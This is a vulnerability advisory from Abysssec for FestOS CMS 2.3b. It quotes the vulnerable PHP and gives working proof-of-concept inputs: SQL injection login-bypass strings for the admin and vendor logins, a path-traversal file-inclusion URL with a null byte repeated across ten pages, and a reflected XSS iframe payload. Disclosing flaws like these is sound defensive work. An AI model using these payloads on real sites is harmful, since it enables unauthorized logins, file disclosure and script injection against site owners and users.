Abysssec Research

1) Advisory information

Title	**: FestOS CMS 2.3b Multiple Remote Vulnerabilities**
Affected	**: <=2.3b**
Discovery	**: www.abysssec.com**
Vendor	**: http://festengine.org**
Impact	**: Critical**
Contact	**: shahin [at] abysssec.com , info [at] abysssec.com**
Twitter	**: @abysssec**

2) Vulnerability Information

Class

1- SQL Injection

2- Local file inclusion

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Also configuration leak and command executing is possible.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- SQL Injection:

in admin/do_login.php :

line 17 :

```
// Process the login
$query = "SELECT userid, roleID, username FROM ".$config['dbprefix']."users WHERE LCASE(username) =
'".strtolower($_POST['username'])."' and password ='".md5($_POST['password'])."'";
$res = $festos->query($query);
```

PoC for admin.php page:

```
username: admin' or '1'='1
password: admin' or '1'='1
```

in festos_z_dologin.php:

```
$query = "SELECT vendorID FROM ".$config['dbprefix']."vendors WHERE LCASE(email) = '".strtolower($_POST['email'])."' and
password ='".$_POST['password']."'";
```

PoC for applications.php page:

```
email: anything
pass: a' or 1=1/*
```

2- Local File Inclusion in various pages:

Vulnerability in e.g index.php:

line 41:

```
if(isset($_GET['theme']) && !empty($_GET['theme']) &&
file_exists($config['ABSOLUTE_FILE_PATH'].'themes/'.$_GET['theme'])) {
...
require_once($themepath.'/includes/header.php');
....
```

PoC:

```
http://localhost/festos/index.php?theme=../admin/css/admin.css%00
http://localhost/festos/artists.php?theme=../admin/css/admin.css%00
http://localhost/festos/contacts.php?theme=../admin/css/admin.css%00
http://localhost/festos/applications.php?theme=../admin/css/admin.css%00
http://localhost/festos/entertainers.php?theme=../admin/css/admin.css%00
http://localhost/festos/exhibitors.php?theme=../admin/css/admin.css%00
http://localhost/festos/foodvendors.php?theme=../admin/css/admin.css%00
http://localhost/festos/performanceschedule.php?theme=../admin/css/admin.css%00
http://localhost/festos/sponsors.php?theme=../admin/css/admin.css%00
http://localhost/festos/winners.php?theme=../admin/css/admin.css%00
```

2- Cross Site Scripting:

in foodvendors.php, festos_foodvendors.php page has been included.

```
lines 31-36:
…

switch($switcher) {
        case 'details':
                if(!isset($_GET['vendorID']) || ctype_digit($_GET['vendorID'])===FALSE ||
$_GET['vendorID'] == '') {
                        $template = 'foodvendors_nonespecified.tpl';
                        break;
                }
…
line 74:
…
$tpl->set('vType', $_GET['category']);
```

and foodvendors_nonespecified.tpl

```
line 123:
<p>Back to the list of <a href="<?php echo $_SERVER['PHP_SELF'];?>?view=list&vTypeID=<?php echo
$vTypeID;?>" title="<?php echo $vType;?> Category">exhibitors in the <?php echo $vType;?>
category</a>.</p>
```

The category parameter is vulnerable to XSS.

PoC:

```
http://localhost/festos/foodvendors.php?view=details&vendorID=4&category=%3Ciframe%20src=jav
ascript:alert%28%22XSS%22%29;&vTypeID=28
```